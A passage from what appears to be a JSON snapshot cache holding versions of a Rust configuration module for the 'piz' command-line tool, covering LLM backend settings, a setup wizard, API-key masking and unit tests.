\"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "f3fbd8df5c2af0119c63d036cf656b9de6d886bd": {"t": 1785760769.3526108, "n": 17201, "h": "a68202636c92266c", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "97dfb1a2cab4fd4f35b55bb319902b8bafddb7a0": {"t": 1785760770.694319, "n": 17239, "h": "40ee8df15cfc4005", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let 